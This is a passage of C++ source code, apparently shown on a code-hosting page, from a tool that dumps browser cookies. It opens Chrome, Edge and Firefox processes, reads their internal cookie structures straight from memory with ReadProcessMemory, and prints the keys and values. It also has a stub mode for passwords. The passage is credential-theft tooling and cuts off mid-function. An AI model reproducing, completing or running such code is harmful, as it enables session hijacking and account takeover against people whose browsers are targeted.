| 417 | } |
| 418 | |
| 419 | void ProcessNodeValue(HANDLE hProcess, uintptr_t Valueaddr, AppLication targetBrowser, AppMode mode) { |
| 420 | |
| 421 | if (targetBrowser == Chrome) |
| 422 | { |
| 423 | CanonicalCookieChrome cookie = { 0 }; |
| 424 | if (!ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(Valueaddr), &cookie, sizeof(CanonicalCookieChrome), nullptr)) { |
| 425 | PRINT("Failed to read cookie struct"); |
| 426 | return; |
| 427 | } |
| 428 | PrintValuesChrome(cookie, hProcess); |
| 429 | |
| 430 | } |
| 431 | else if (targetBrowser == Edge) |
| 432 | { |
| 433 | if (mode == Pass) { |
| 434 | |
| 435 | } |
| 436 | else { |
| 437 | CanonicalCookieEdge cookie = { 0 }; |
| 438 | if (!ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(Valueaddr), &cookie, sizeof(CanonicalCookieEdge), nullptr)) { |
| 439 | PRINT("Failed to read cookie struct"); |
| 440 | return; |
| 441 | } |
| 442 | PrintValuesEdge(cookie, hProcess); |
| 443 | } |
| 444 | } |
| 445 | else if (targetBrowser == FireFox) |
| 446 | { |
| 447 | CanonicalCookieFireFox cookie = { 0 }; |
| 448 | if (!ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(Valueaddr), &cookie, sizeof(CanonicalCookieFireFox), nullptr)) { |
| 449 | PRINT("Failed to read cookieData"); |
| 450 | return; |
| 451 | } |
| 452 | PrintValuesFireFox(cookie, hProcess); |
| 453 | } |
| 454 | else { |
| 455 | PRINT("[-] Could not read cookie values: Unknown configuration %d", targetBrowser); |
| 456 | } |
| 457 | |
| 458 | } |
| 459 | void ProcessNode(HANDLE hProcess, const Node& node, AppLication targetBrowser, AppMode mode) { |
| 460 | PRINT("Cookie Key: "); |
| 461 | ReadStringChrome(hProcess, node.key); |
no test coverage detected